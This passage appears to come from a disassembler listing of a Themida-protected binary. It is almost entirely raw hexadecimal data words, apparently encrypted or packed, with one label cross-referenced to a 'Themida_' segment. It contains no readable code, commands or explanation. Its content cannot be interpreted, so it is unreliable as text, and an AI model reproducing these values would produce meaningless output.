90079B2Ch dd 8832118Ah, 603E9C66h, 0CBB26ED7h, 48FA9D8Dh, 8832128Fh dd 7286DA66h, 0C00F3EFFh, 1123FCCCh, 0CC8D1566h, 35FDC05Bh dd 5E4F4784h, 6B9227h, 360FDC9h, 0CD673162h, 26F79483h dd 90321566h, 883211A3h, 601E9266h, 0CB98E93Ah, 1132156Ch dd 0B7AFC6E4h, 52484077h, 2D528342h, 113216E7h, 2C09566h dd 3A5BAD00h, 22F3FC07h, 9F3D1566h, 88321571h, 44239C69h dd 2EDB1566h, 0DF321566h, 0A4C13D26h, 6B7E4B18h, 0DE7E126Ah dd 49162199h, 8836D1E7h, 0B1521566h, 2232048Fh, 0FE59F966h dd 12CCE75Dh, 0B8E29FD3h, 0D81EBAF3h, 0BB539630h, 8832188Fh dd 0ED0EC66h, 87E3C786h, 4AB89B7Fh, 0F7B2E6FDh, 0C13DFC99h dd 22321505h, 458F9693h, 8835FE9Eh, 441B9169h, 0A9521566h dd 11B51AA4h, 0E9321566h, 0BDA588EBh, 0DDCE128Ch, 1123FCB5h dd 0F81566h, 22CAE1A6h, 0F1BFE82Dh, 0A6E2190h, 0DB974EFAh dd 1BBAD6EEh, 62E9E62h, 7136D1E5h, 88349C69h, 0CC3D1566h dd 22321566h, 0C8DA9400h, 80DB748Bh, 9321566h, 25DB6867h dd 9A7184E5h, 6C10B4E3h, 4435FC61h, 0A7651566h, 0CA8AA5D4h dd 0FE0910A0h, 0BC1B6B7Dh, 5409A833h, 0F91B6B7Dh, 8826FC3Bh dd 0EBD71566h, 0CC108E1Ah, 0ED4CCFA6h, 0B3BA9EEDh, 348C54D3h dd 0C35AC90Bh, 98321523h, 8C8D315Ah, 6D321566h, 2ADB4A9Eh dd 0B5321566h, 7E9EFF6Ah, 0EFA8E7B9h, 4352B89Ah, 0EECEAD36h dd 0E51FEA99h, 45530918h, 5C5F1096h, 11F5747Ah, 88321566h dd 7EDBEC3Eh, 2DCDEA9Dh, 113212E6h, 57B97566h, 2546C4E6h dd 3ADBA0EFh, 1E521282h, 883215EFh, 0FBE89566h, 6C3F7D07h dd 5BB1566h, 885AE942h, 0B13215E6h, 0A252150Ch, 933D23BDh dd 88321566h, 3987EA07h, 0D735F140h, 0E078099h, 0DB521282h dd 17FA9400h, 0DD534B3Ch, 90683152h, 883211A2h, 0AFB27566h dd 0E3851AA1h, 88BF9E07h, 6135F172h, 4432156Fh, 4F1ECD29h dd 9F758A86h, 8CDE944Eh, 0CD321566h, 828D315Ah, 90433325h dd 0A77339A1h, 0ABB3522Dh, 9E6791ABh, 0E96D2CEFh, 880B240Eh dd 602E9C66h, 223211DDh, 4AEB1466h, 11BF9C9Fh, 4B35F172h dd 223219E4h, 17B81A66h, 87321566h, 443215E1h, 0E431FC66h dd 1CDBEA99h, 0B9321566h, 0EAD5783Bh, 0CCDDAD32h, 0BF4A0BCDh dd 88389369h, 24521566h, 22BB1A07h, 70321566h, 8818208Fh dd 0BD52E066h, 36AB98EDh, 0EECE1282h, 0AC069457h, 6E831F8Bh dd 0A31619EDh, 113211A2h, 65C39466h, 4B18A46Ch, 22321DE7h dd 13BE1A66h, 0E8321566h, 4FB21A07h, 42321566h, 90C39E00h dd 49962788h, 0C9BB7428h, 25D9ED36h, 1139FC06h, 0E0FD1566h dd 2DCA18C5h, 663B749Ch, 0D2EC9431h, 0E93CAD1Eh, 107C2DE7h dd 0A73D5922h, 113215E9h, 0F0B3739Ah, 4B1C5962h, 223297E3h dd 9A62EC66h, 4CB33152h, 44321562h, 223A9C69h, 71521566h dd 0E7887307h, 0FE607469h, 22321560h, 5B9C367h, 8CF69642h dd 0EA2EAE06h, 31DB78A8h, 0DC321566h, 0DAF00879h, 53AABDFBh dd 4FD567C5h, 6DFC5E5Fh, 35367EEh, 0A01040E3h, 3AB21A61h dd 0F8321566h, 88321575h, 4E0E5CA8h, 58F70164h, 4364BE80h dd 45668CAFh, 0AD4577BBh, 22321182h, 70524706h, 0BDECAD3Eh dd 24537A84h, 4111CDE7h, 41531246h, 731611E7h, 1A7B1900h dd 44C9AF34h, 0C71B5C6Ah, 89BD1A3Ch, 0B8321566h, 0ABF39C37h dd 353E9EACh, 8736D1E5h, 44321DE2h, 43527566h, 0CB5BAC00h dd 61FB2407h, 4432156Eh, 7A0801CFh, 1DECB598h, 0B4CAE9CAh dd 1B61A66h, 2D321567h, 113214E6h, 0A50EE966h, 0BBD49169h dd 2FDBEA99h, 0E9321566h, 59A293BCh, 0E36A9CBDh, 0E6663FECh dd 953D3B5Ah, 883215EBh, 44339769h, 1ECB1566h, 0CBB01A56h dd 7D321562h, 0C23D2C5Ah, 0DDCDEAD2h, 10B21A9Ah, 70321566h dd 0C63D545Ah, 223211A7h, 0D2B37306h, 9540A84h, 2593AD86h dd 0A43D4F5Ah, 0EECDEAF6h, 88321C8Fh, 63C30D66h, 11D98F0Ah dd 4E0EA53Ch, 77489169h dd 0CE3DEA99h, 2232156Ah, 11349769h, 23D1566h, 44321566h dd 0A03D745Ah, 1132111Bh, 8748299Eh, 0BBCD42E0h, 223FFC99h dd 0B7121566h, 8084C16Ch, 5C005E4Bh, 0CB570409h, 1132113Bh dd 8CCD479Fh, 60269E42h, 2236D1E7h, 1BDB1566h, 3C321566h dd 1581D7A2h, 0ABB4106Ch, 10B71A3Bh, 71321566h, 0C03DE75Fh dd 22321157h, 1132198Fh, 9171B266h, 23EFE52Ah, 803275B7h dd 0EE8A4502h, 89CDEA99h, 24CE4DA4h, 22229C69h, 1ADB1566h dd 60321566h, 5A9B98C5h, 48512308h, 0CEB9BE0Ch, 0D1654407h dd 0BDB55239h, 22321D8Fh, 0CD02CD66h, 57DBB087h, 0BAF4FC29h dd 0A53DEA99h, 11321576h, 88389869h, 41DB1566h, 0B8321566h dd 0AFDA7EB1h, 0C3DDCE3h, 443216A3h, 22321A8Fh, 617F4566h dd 0F5F44C24h, 0F9EC02Eh, 0DBE40615h, 1A73A0EBh, 87521282h dd 443213E7h, 22B81A66h, 0F8321566h, 8832156Fh, 28A5A198h dd 1EEB534Ch, 436474DCh, 0D6C39C38h, 443A9E69h, 0AF3D1566h dd 11321564h, 9607406h, 46C3162h, 1EB9110Eh, 15F69642h dd 0C86CFAE7h, 0F4CA110Eh, 26D2D5D7h, 4054204Ah, 601241D3h dd 3A064C00h, 2232188Fh, 1AD4CF66h, 74F6EBF2h, 0E919FC6Fh dd 579CF568h, 0AE54759Bh, 4FB3B934h, 321166D1h, 0A3C7E007h dd 0A75C368Fh, 0D0DB9446h, 6D25377Dh, 7AF3949Fh, 9025377Dh dd 3E5C36A7h, 443FFC46h, 3CF41566h, 32867F0Bh, 2C097CADh dd 24412272h, 4C2FAB00h, 118A4507h, 0A1321566h, 1D6244AEh dd 0A03D4D3Eh, 1132156Bh, 88321D8Fh, 0F7E2D266h, 0F92C5919h dd 9A5475DAh, 4B851AACh, 0A1DD9407h, 0B42F90Fh, 0F48F40A9h dd 8942F90Fh, 4B524889h, 223216E6h, 0E7F39566h, 8823FC07h dd 0CEDC1566h, 0CF64E9DDh, 0E498745h, 62B0575Dh, 752CFCA4h dd 13CC2491h, 0B5C1EC91h, 5B8D1A06h, 0CBAC00h, 59864507h dd 0E768F1E6h, 79FE95BAh, 15C5F9E6h, 6DBAF4EEh, 0ED6A4C99h dd 837380EBh, 0CFCE1282h db 0E3h, 20h word_607F42 dw 0C614h ; DATA XREF: Themida_:00584888o dd 0E8CE7561h, 87F29007h, 4432BAE3h, 0E4CBED66h, 0F51E38E3h dd 0D3D5261h, 4432157Fh, 2232018Fh, 90755D66h, 91ED76A7h dd 0E1EB4446h, 0A30D98F7h, 6E0E3EFh, 2FE07DDBh, 4BC7C1FCh dd 223201E4h, 1FB11A66h, 61321566h, 4432156Fh, 358FA1EAh dd 5C6911C8h, 0C987EABFh, 4B35F147h, 22321FE7h, 0A63D7566h dd 40B373AEh, 4B53175Ch, 223219EDh, 17BE1A66h, 87321566h dd 443215E5h, 85B79866h, 0F835F2D6h, 88321563h, 3E9F4A13h dd 0A9547558h, 903D47B1h, 88321566h, 94CD743Fh, 22321A8Fh dd 0BAA466h, 998E100Eh, 0F7D33772h, 0A2B9B658h, 9F3DE006h dd 88321565h, 253DCAE6h, 0A3D09C34h, 113211A4h, 8CD89666h dd 181601E1h, 2D1601EFh, 11321DE4h, 0D3D7566h, 44321566h dd 42E2EA07h, 11339B69h, 3ECA1566h, 0C1C77413h, 0D3B71AA6h dd 71321566h, 883C9569h, 4DDB1566h, 0CA321566h, 9DCBEFF7h dd 0EEB6541Dh, 0CF53DBEDh, 0C629C0E3h, 1DB41A61h, 87321566h dd 443213E2h, 22B01A66h, 94321566h, 0F1B71AA6h, 0B1321566h dd 0E1F90A0h, 0F87E1282h, 8832156Bh, 4BE846F6h, 4A163500h dd 2FB6CCD8h, 94DB7DE8h, 0C03DCCBCh, 22321561h, 0C9B97306h dd 7753D3EDh, 0A01354D3h, 2226FC61h, 86971566h, 75A09011h dd 46B81A28h, 147E82F2h, 283F5FA7h, 0DBF884Dh, 43D5A5C1h dd 22209C69h, 1CDB1566h, 45321566h, 99154D6Fh, 0A9A2D562h dd 5DE1F639h, 73DC599h, 4432156Eh, 22309569h, 70521566h dd 8DD29C36h, 44321562h, 0A536FDE5h, 986E3162h, 33D3172h dd 44321567h, 0CBE2EA9Fh, 11321577h, 0AA3AE05Eh, 9C07AF2Bh dd 2B7830D4h, 60DED719h, 87F290E7h, 443212E3h, 0ACDBEC66h dd 0E9321566h, 706290EFh, 0CF3D128Dh, 22321567h, 68247D9Eh dd 8CBB1566h, 48B21A42h, 2D321566h, 113213E1h, 88B81A66h dd 2C321566h, 22326F8Ah, 711621EFh, 94897306h, 0E7F194C6h dd 43245EF8h, 11369A69h, 30541566h, 0C953C008h, 0C5F88EE3h dd 0E8617561h, 58CD743Dh, 4BF21E9Eh, 223231E3h, 1121FC66h dd 0DA021566h, 490638B5h, 1134B815h, 1A23E861h, 1738869Fh dd 4421FCA7h, 0A03D1566h, 11321567h, 0AC769C93h, 0C63DE97Ah dd 22321567h, 0D2CB749Fh, 314DA306h, 3A5EDAD6h, 0A63D7507h dd 11321577h, 8832198Fh, 5344E66h, 0F073140Fh, 0AF003C6Eh dd 5B9E985h, 43D9ED36h, 44EC9E06h, 1B21CEE7h, 8834FC07h dd 0D941566h, 770D54A2h, 90D79C33h, 883211A3h, 40DF9666h dd 7E1639E1h, 0F81611EFh, 88321572h, 0D2B0E3DFh, 6A173D64h dd 3F5BF10Bh, 3BBA8691h, 0DA5470F1h, 6069437h, 66025947h dd 0B1611EDh, 650711A2h, 2D45252Ah, 11321DEBh, 8AB61A66h dd 24321566h, 1E884707h, 10321566h, 888946A4h, 45321566h dd 793116B5h, 0AECA753Ch, 0B0E0AC07h, 0CC82EA07h, 0A9321566h dd 0D5B13172h, 6052E962h, 4432156Dh, 94BFCB25h, 10BA5471h dd 30E47814h, 64DB9735h, 0E5B9733Eh, 28A79C07h, 0E835F17Eh dd 2252E4ECh, 61F6E5E7h, 1132068Fh, 0BE3FDC66h, 0D701526h dd 59803BEh, 0CD4BE8B9h, 158153Eh, 41DB7407h, 3D321566h dd 0E050CAC0h, 88CAAA31h, 0BC331566h, 0A11629EDh, 0AA5211A2h dd 0DC129F1Eh, 4435FC07h, 2DCE1566h, 0E218F60Eh, 848946F0h dd 0C5321566h, 997C258Dh, 90F11460h, 337C25A5h, 1F219E60h dd 22321F8Fh, 0A3EDA366h, 97423514h, 0CD9C56E0h, 0C63C5CF3h dd 1126FC61h, 81901566h, 72B77661h, 0CD1282AEh, 0CDAD7AC0h dd 8EE74FA0h, 70CDA3CDh, 0E6B34D42h, 11321562h, 88339C69h dd 0BBCB1566h, 7A163112h, 1132078Fh, 0DB498366h, 53B310F1h dd 0F8202C04h, 13EFB84Eh, 0E8EE753Bh, 0C03D53D5h, 22321566h dd 5CDF3807h, 5375E77h, 6D1D873Ch, 78BF38AEh, 0FC373AF4h dd 6179042Bh, 44321577h, 977DC10h, 7DB0B17Fh, 710E5301h dd 0FE3C1248h, 6BB72E8Eh, 1E35F168h, 883274E4h, 54DB7566h dd 0B4321566h, 5DADCADFh, 0A80340D8h, 774DD55Fh, 0A2A84C48h dd 2A538980h, 6C2A2CE3h, 7FB11A61h, 42321566h, 11321A8Fh dd 53C01366h, 0FBE7B876h, 3612E3B1h, 60E67E45h, 47B97306h dd 0B1537407h, 2D3211A4h, 113200E9h, 87B01A66h, 0AD321566h dd 2232156Ch, 0A84D93F5h, 431CA0E0h, 0B853526Ch, 3F1611A1h dd 90520C13h, 0C63A314Ah, 40B31F81h, 771A2042h, 351E9455h dd 0B0064E5Bh, 0F21631E7h, 0DD5BC919h, 15B3316Ah, 0FEE47B42h dd 6016D489h, 61E9462h, 76875B2Bh, 0B51611E7h, 4B5955C1h dd 22321FE0h, 903D7566h, 88321566h, 0B8534B30h, 261651A1h dd 18805794h, 8C164191h, 40165199h, 261679A7h, 3576EA62h dd 0AC5E9462h, 0D3252C62h, 6769452h, 23097D62h, 0E063E943h dd 71C12C7Fh, 0A1E3E23Fh, 0F8B314A7h, 423ED384h, 0AD6BDDEFh dd 22321568h, 58D6581Ah, 927549Ch, 0CC0A0CE1h, 0AFBFECD8h dd 16D65A81h, 88321E8Fh, 0BDC79E66h, 0E18C0733h, 0BCAE60F1h dd 99DBF499h, 11321566h, 0FC6A611h, 0C423AAD9h, 0E006F7EDh dd 8C1BDB88h, 9860E906h, 11321566h, 3361E767h, 44321566h dd 21B8C667h, 2DCB4F3Dh, 0DAB61A8Fh, 0B1321567h, 2DDA2993h dd 113372E2h, 8834FC66h, 3E961566h, 5A3AEEC9h, 953D1A5Ah dd 88321536h, 443A9069h, 72521566h, 9B88733Dh, 450E74D2h dd 45A59169h, 1ECA1566h, 0C4B61A8Dh, 74321567h, 58BD1A07h dd 42321566h, 2DB1BD6h, 44321566h, 2F187EEFh, 6A96BA3Bh dd 1B53C894h, 0B7446FD3h, 8753C856h, 0DA8D1A06h, 10B91A07h dd 70321566h, 4433AC37h, 0CBB31566h, 19250B1h, 49B3E467h dd 549250B1h, 2D6B0CECh, 113206EBh, 883CFC66h, 0F3451566h dd 0D3A13BABh, 717D49CEh, 6F90C0F8h, 0CD36F9E5h, 0D2823162h dd 0F86AD646h, 88321574h, 23C82A86h, 0CB92CA52h, 95A62C6Ah dd 0F2EE86EDh, 0BFB243D1h, 57B71AE6h, 71CDEA99h, 0B07EECDEh dd 94851A5Bh, 4F557D07h, 25BB1566h, 33D4E42h, 44321568h dd 22321C8Fh, 70F39A66h, 25741320h, 14CAAD5Dh, 223213DEh dd 9AF11466h, 4CB33162h, 44321562h, 223E9269h, 993D1566h dd 88321560h, 44329069h, 77601566h, 0ED5D62DBh, 8ED7D441h dd 0C531F0A7h, 602F6083h, 0AFC7944Eh, 9324A02h, 595AA98Bh dd 7FD89C4Eh, 0B31E767h, 0F0DBED3Ch, 0AD321566h, 2232156Bh dd 13CEB23Ch, 5EAF1DE0h, 0F2A86CF5h, 9A624760h, 67E97B84h dd 0ACA30A63h, 1CF09CEFh, 38B9E767h, 0EAB1EC3Ch, 3EB61A9Dh dd 0BD321566h, 62E9E30h, 1136D1E7h, 0E8CB1566h, 25E19E00h dd 2236F9E7h, 15BB1566h, 8833AD42h, 0B4331566h, 2D6A0D65h dd 11321EE5h, 46B37566h, 6AF840B1h, 437CF9E6h, 208F4037h dd 31045C6Dh, 727B1E52h, 236FFC57h, 0F8CE4CADh, 77CDEBE6h dd 44321D8Fh, 682CF866h, 0AED363B2h, 0D6841A25h, 4423FC67h dd 64A31566h, 0BAF61E50h, 953E98EAh, 0CF147447h, 0A16B5C43h dd 953D3B8Dh, 77CDEB36h, 44321F8Fh, 0FE393B66h, 9E5CFC94h dd 61B3CABDh, 44321543h, 3DC9506h, 9152749Fh, 948D20BEh dd 2566CFCAh, 0DC336BE6h, 0EF109069h, 8EDBEA99h, 0DC321566h dd 0D5854430h, 0EDD6FC94h, 0D952EA99h, 4B6CC5EDh, 223210EFh dd 0C7BDAD66h, 0E0536A4Dh, 44327034h, 0D71621EFh, 1119D70Eh dd 0AC3E9C66h, 4F897306h, 223DFC61h, 0F9831566h, 0CC032412h dd 0BF0519D9h, 0C0C4CC56h dd 405A7417h, 132157Ch, 0C73D317Ah, 22321569h, 11321F8Fh dd 89EB2066h, 0F1ADD37h, 75130E89h, 0D6B3F2EFh, 88321562h dd 4436FAE7h, 1EB51566h, 2DBB4942h, 84DA7542h, 0AD321566h dd 0D228ADDFh, 654B301Dh, 61FF7976h, 4432156Eh, 12946375h dd 1DAFDBBCh, 123FAB39h, 755324EAh, 223DFCA6h, 31131566h dd 4CEF72EFh, 86C18373h, 64C6A33Eh, 43C7B915h, 63D7EEh dd 1DD99DB3h, 9060EC3Ch, 5BD895E6h, 9C854600h, 1F54EF4Eh dd 0E8B2D798h, 6AD8952Dh, 8768C646h, 443212E6h, 23B41A66h dd 0E4321566h, 8742EEE6h, 4437AEE2h, 29DB7566h, 62321566h dd 54B3BD3Ah, 76A204E6h, 0A9543FD9h, 1E0E7491h, 888F9169h dd 78CB1566h, 32B61A8Fh, 1E32156Dh, 88320BE4h, 0FB3D7566h dd 2226FC95h, 687C1566h, 0F129B229h, 0E41745B4h, 0F2E4DDD9h dd 0FB58F64Eh, 0B453719Ch, 0BEB61A8Dh, 0CB321568h, 1132156Ch dd 5A75D608h, 86D0D478h, 0C10EF5D7h, 126B9169h, 0B4CA1566h dd 24B61A84h, 42321576h, 0EE53E7EDh, 0B6D3152h, 0BBC711A2h dd 0A1693152h, 0EEC711A2h, 96B3152h, 443211A2h, 2237FC66h dd 83E21566h, 61AC777Ch, 44321574h, 0A7CAFC82h, 3A0D829Bh dd 0AA0070CDh, 0E0829BB9h, 16B9B9CDh, 0F3BB4742h, 8836D7E7h dd 86B11566h, 6269262h, 9D3DE93Ah, 88321562h, 25C69F06h dd 9D3D75A5h, 0C9B37395h, 4F531E43h, 0AFCB35E3h, 22321361h dd 18B41A66h, 0E8321566h, 709928DDh, 431DA018h, 1132AC37h dd 49B31566h, 1FB62918h, 0CBB3E467h, 4AB62918h, 716B0CECh dd 0C4D1A037h, 0E7CC4C93h, 3107D0E6h, 8EDB4C8Dh, 5C321566h dd 8D43E732h, 91C9952Eh, 777B9069h, 4FDBEA99h, 0ED321566h dd 857EE83Eh, 0AC0EB6EFh, 0C33D3B32h, 2232157Fh, 1122FC06h dd 0FE21566h, 563C3A58h, 2E68026Fh, 7B0C5DA6h, 0D6600A41h dd 0BB8D4207h, 23CDEA99h, 9ACA4A98h, 6C1158E3h, 443BFC61h dd 13101566h, 0B50E36F1h, 8716D7E1h, 44321DE8h, 20BF1A66h dd 71321566h, 0EDA79E07h, 0BD35F173h, 223B1E0Eh, 35069C66h dd 852ED3Dh, 2252B3BCh, 5F4AD3E7h, 70C5A269h, 35674707h dd 5C0C14F5h, 6F34F0A7h, 8A75D0E7h, 62BBE519h, 1EE1143Bh dd 0C0DC9406h, 1E04C7EEh, 883215E3h, 0FE607466h, 22321564h dd 35FBD7E7h, 7A336F77h, 60FBFFE7h, 38316F77h, 1CDB753Ch dd 66321566h, 2D7D4EF8h, 69FE65B1h, 7D057235h, 0E989D6E6h dd 0C63DCD5Dh, 2232156Ch, 1EE82E9Eh, 77CC7FE0h, 0AFB3E999h dd 7D3C64B1h, 75A9FEE7h, 731B0336h, 20A9D6E7h, 0E1B30336h dd 4E3C64B1h, 883A9569h, 0C03D1566h, 22321564h, 47C77406h dd 883213D8h, 0FCF19466h, 0B0BDE64h, 0A9D99495h, 0D60BDE64h dd 0F33D4206h, 0A9544B98h, 1E5274B7h, 883216E9h, 97B97366h dd 2232048Fh, 3A892266h, 0F4891F21h, 15C44301h, 17FE4F31h dd 7753373Ch, 0EECEE0CBh, 4420FCCDh, 84BC1566h, 0BBC2967Eh dd 0F6DCCDD7h, 7DD8F6CEh, 1A05B6ACh, 115D2A0Eh, 0AC369C66h dd 0AD694D35h, 22321577h, 0CAA0D62Dh, 393FA796h, 0F4E1125Fh dd 4D1BCAD5h, 9B52BEFEh, 3567748Dh, 44321562h, 0EB9FB67h dd 15F69642h, 0AC0E9C93h, 60469C93h, 27DB756Ah, 0FC321566h dd 1A87876Bh, 44321E8Fh, 59E4E066h, 124799F5h, 313C31A8h dd 45879C07h, 0DE35F148h, 461629EDh, 4FB3F2EFh, 44321562h dd 2236D2E7h, 2DB51566h, 61524942h, 44321569h, 9D1BDA7Bh dd 4E887ABDh, 0E729383Eh, 25786D1Ch, 731609EDh, 0D0B3F4EFh dd 88321562h, 4436D4E7h, 2EB51566h, 0F9524942h, 8832156Bh dd 9EFA3665h, 9A964A10h, 0AC4691B9h, 0EE6BED31h, 0BB53C2EDh dd 0A16B3152h, 17DB11A2h, 4321566h, 187B3B85h, 6069E78h dd 90D09C34h, 883211A4h, 40F09466h, 0A5321566h, 0F86E3172h dd 88321561h, 8AE995A0h, 7071DCAAh, 0A863F7EFh, 0BFF9294Bh dd 0B3EBE227h, 0A3E3E2BFh, 25F1C097h, 0D1F814AEh, 0C336D7E5h dd 0D76E3172h, 0EED25D8Fh, 80B21A99h, 24321566h, 0F5D09400h dd 7153ECF7h, 0B3D29D2h, 44321564h, 0E5536DD1h, 0FACB35E3h dd 88321761h, 0AFB37566h, 6B7BCDC8h, 0E1BB4507h, 8CB9D6EFh dd 40F69642h, 2C841A93h, 11321B8Fh, 0F7C8F266h, 0F54ED8EBh dd 0A05EDA7Ch, 91F8CF02h, 0B3D959Fh, 4432153Dh, 22359769h dd 973D1566h, 88321567h, 87B3EC93h, 77404239h, 0AC67DE67h dd 0DD404239h, 246FFE4Fh, 78FA9400h, 70F59ED8h, 77CDAA31h dd 0BF1BEA99h, 87DBE039h, 1E321566h, 88320BE6h, 5CB81A66h dd 0CB321566h, 11321575h, 0FE0EA03Ah, 56D2C7Fh, 95C9D9E6h dd 5528B197h, 9F68EC8h, 4432118Ah, 6269C66h, 0FFF274D0h dd 8FCEB64h, 0B51AFD90h, 0D563E03Ch, 1DB9317Ah, 8CF69642h dd 44321E8Fh, 2BB8666h, 88D09B47h, 0B1C2859h, 0FB65409Fh dd 7716545Fh, 0D06DE8EFh, 4DB3178Bh, 73683BA1h, 547F8E7h dd 0D4B312E8h, 0A35530D4h, 0C537F0A7h, 0A598AA93h, 4CDB3469h dd 10F1949Ah, 6D7C701Ah, 188847ADh, 5B46973Dh, 0AF93E7E7h dd 971B2F81h, 2234FC3Ch, 8E931566h, 0D8379178h, 677F90EDh dd 0CB521282h, 11321568h, 17E57B07h, 8CA12252h, 0E9463F4Ch dd 18DBEEEEh, 32321566h, 0FA1F1890h, 8CC1722h, 1139FC07h dd 7B1E1566h, 8DD49D16h, 10E0A6B3h, 74A79E9Fh, 8735F173h dd 443202E1h, 2220FC66h, 0D6991566h, 55DBD69Eh, 0CFA69300h dd 0E12C1165h, 4432BCD1h, 9377A8E5h, 4B331282h, 223662E2h dd 0A8547566h, 0EE52C95Fh, 84B3CCEDh, 5D7A3EF9h, 0D20B7407h dd 8C6C9769h, 0AC521566h, 22321577h, 2E9DEB67h, 98E8095h dd 7E11800Eh, 0A433411Bh, 4A68442Bh, 0E9CCA269h, 0C63DC65Fh dd 0DDCDEF95h, 11359669h, 0F3D1566h, 44321567h, 223FFC9Fh dd 1CB21566h, 7B4500E1h, 90780B8Bh, 0CB8DF410h, 11321172h dd 883C9D69h, 4DDB1566h, 0D6321566h, 8A367B1Ah, 0F9856E4Ch dd 0BD1290A1h, 2230128Dh, 1ADB1566h, 8D321566h, 65D6B04Ch dd 0E407850Ch, 98623C27h, 3F19C96h, 80B13162h, 33DA7562h dd 5E321566h, 6EAAB486h, 235409BFh, 0F4B49DF6h, 87CDF3B0h dd 0E96D4ED0h, 44399A69h, 24DB1566h, 4321566h, 0D5A12F97h dd 4A841A61h, 928A7306h, 0E8B27449h, 0F6B11AE6h, 0AD321566h dd 22321574h, 18C94B81h, 97F6FA08h, 8A3DA7ECh, 41C06B1Eh dd 0D2B3DAE0h, 0EBF61333h, 6615FEE7h, 0E93341E6h, 3315D6E7h dd 63B341E6h, 27F61333h, 2232048Fh, 86333266h, 4D425355h dd 8495ABE8h, 0CDBED87Bh, 0A962BAF4h, 88321567h, 246AD667h dd 223E9169h, 17DA1566h, 6D321566h, 50AD17h, 43CA4BD0h dd 1132B18Fh, 883DFC66h, 53101566h, 0DA77D16Bh, 60E84017h dd 0BC65CE61h, 0F56345A9h, 7BFE9D35h, 0E7E1F9E6h, 0FBDE95BAh dd 0C431F9A6h, 0C31AEB92h, 1120FC3Eh, 5F081566h, 674E026Dh dd 221481F5h, 8885A64Eh, 9DCACCDCh, 50C5442Fh, 2CDB4C42h dd 0A5321566h, 4E74348Eh, 0E5BD01FAh, 2E7F218Bh, 5A8D423Bh dd 490BED6Ch, 0A3F31D81h, 71C59462h, 903DF16Ah, 3776B9A1h dd 0CFCB3416h, 0E6B1315Ah, 0D2B3E062h, 0BF0B0D93h, 6D2FEE7h dd 0E91B3AC8h, 53D2D6E7h, 63B33AC8h, 730B0D93h, 22359869h dd 903D1566h, 88321567h, 9B79E9Eh, 0DA35F145h, 74A79E9Fh dd 7D35F173h, 5F77A8E5h, 2D331282h, 113066E2h, 99B91A66h dd 0AD321566h, 2232156Ah dd 508204C6h, 0FFED3415h, 0C6C1C35Bh, 0A03DCD5Dh, 11321578h dd 87E12C93h, 0BBCB13E0h, 2222FC99h, 0AC561566h, 0FA416921h dd 0F4914871h, 35156785h, 0A962CDDEh, 0DF6D56ECh, 0AC2A316Bh dd 1BBE3039h, 9C07093Eh, 0A12E4D7Fh, 4BDB4DA0h, 46321566h dd 0D0929284h, 8B84846Ah, 0BB9270E7h, 0A43D6486h, 11321567h dd 8CDE9493h, 0CD321566h, 2D87316Ah, 0F86BFDEEh, 88321561h dd 18F9761h, 88C808E1h, 1189469Fh, 9321566h, 0F316B9A5h dd 0A3C1145Fh, 0A616B98Dh, 0D3399F5Fh, 728B7306h, 2DDB7441h dd 3B321566h, 24854552h, 0C535124Bh, 0DF566EE7h, 0A0635A86h dd 26F395B4h, 0B16BDDEEh, 0A2D3A635h, 0FAF23FA5h, 87C19563h dd 58B9CC46h, 26F69642h, 11321A8Fh, 25973866h, 5F58EFBEh dd 0D0A59FB4h, 7ED8B4A4h, 0E8FA1D9Eh, 20BDA4D9h, 0A43D4434h dd 11321566h, 87987438h, 443200E3h, 2222FC66h, 3ED11566h dd 0D042B6FBh, 1F50CCD2h, 0CED7DF55h, 0D2B31C44h, 0E00B27C6h dd 468BD6E7h, 0D91B57E0h, 138BFEE7h, 63B357E0h, 2C0B27C6h dd 9F674493h, 11321562h, 0A16FFCEFh, 0CA3D4CADh, 2232156Ah dd 1132128Fh, 4BD47766h, 0D0B9B259h, 0E103CD57h, 0F852CD57h dd 88321577h, 0D5AC11E5h, 709C88B6h, 0FBBEC97h, 3E3DBF28h dd 2573A207h, 2232138Fh, 76038766h, 23A5C0D3h, 0FC624693h dd 72435924h, 8907726Bh, 0C8EAE210h, 55F31026h, 843717AAh dd 9846380Dh, 56334DA5h, 0F1BBE93Dh, 25D63B67h, 94F5ED9Fh dd 8FD60E23h, 44321567h, 2232138Fh, 1AF5F66h, 0DDA7B9B9h dd 81B3F0EFh, 22321562h, 2236D0E5h, 0A403314Ah, 601E2642h dd 223DFC3Ah, 0D5181566h, 2A844B0Eh, 49B29D6Ch, 0D14500E1h dd 3506EA8Bh, 8CF6943Dh, 0AD321566h, 22321577h, 3F64FA36h dd 0D1A8DF40h, 3842B248h, 5F031DACh, 353E9E3Fh, 9D49C30h dd 443211A0h, 26F49666h, 4D1621E1h, 88399269h, 42DB1566h dd 0CC321566h, 0DBCC6E3h, 6BBB464Bh, 4436D6E7h, 0E1B11566h dd 352E9262h, 7D1631EDh, 44321F8Fh, 9352BD66h, 0A8D876D0h dd 0DFBC379Dh, 0FD63F2EFh, 22321562h, 926BDA67h, 0B4B511A1h dd 0ADCE4942h, 0DDCDCF5Bh, 37874606h, 0E9D09F3Dh, 4433AC37h dd 0EC1B1566h, 10B51A3Fh, 71321566h, 0CCECA635h, 29364EBEh dd 0AB3FA706h, 82D9BDEEh, 56DB7507h, 0A7321566h, 4B13A106h dd 44F1F890h, 0B39EB44Ah, 0AB105B7h, 1139FC5Ah, 56D21566h dd 7A2CECAAh, 0E4CC9386h, 0ED987462h, 136F9E5h, 0BD6A3152h dd 0B85CD463h, 1F6D1017h, 701B2E07h, 253C4A4Bh, 4CF3385Dh dd 0ED5264FCh, 718A7306h, 0F3C2947Eh, 431AD914h, 158B4407h dd 0A1321566h, 603E9EAEh, 2236D1E7h, 0F9521566h, 8832156Bh dd 160B371Ah, 668AA44h, 0CEB4E6FCh, 0D0CC9E64h, 0C55AD00h dd 4ACBBE07h, 11323A1Eh, 11629EFh, 40F59481h, 0A1321566h dd 2DB511A1h, 43D4942h, 44321572h, 223C9A69h, 18DB1566h dd 0A5321566h, 0FB61F6B9h, 28659423h, 1132108Fh, 0E239D966h dd 70CD4884h, 0E6B14E42h, 10B71A62h, 74321566h, 1D162199h dd 2236D1E7h, 943D1566h, 88321561h, 44339669h, 2DCE1566h dd 113214E8h, 0BCB9E066h, 0A3BB4242h, 2236D2E7h, 0D6B11566h dd 0AC0E9262h, 2CC7E03Ah, 22324334h, 981619EFh, 8CF39487h dd 0C7321566h, 2EB511A7h, 90524942h, 0DE882487h, 0A7B37347h dd 42530860h, 11321A8Fh, 0FAED6366h, 501A9E8Dh, 77A9B08Dh dd 0DABB792Ah, 0C4DB7493h, 0BDCDEABAh, 22239869h, 1DDB1566h dd 0D0321566h, 0A1572123h, 3B50229Bh, 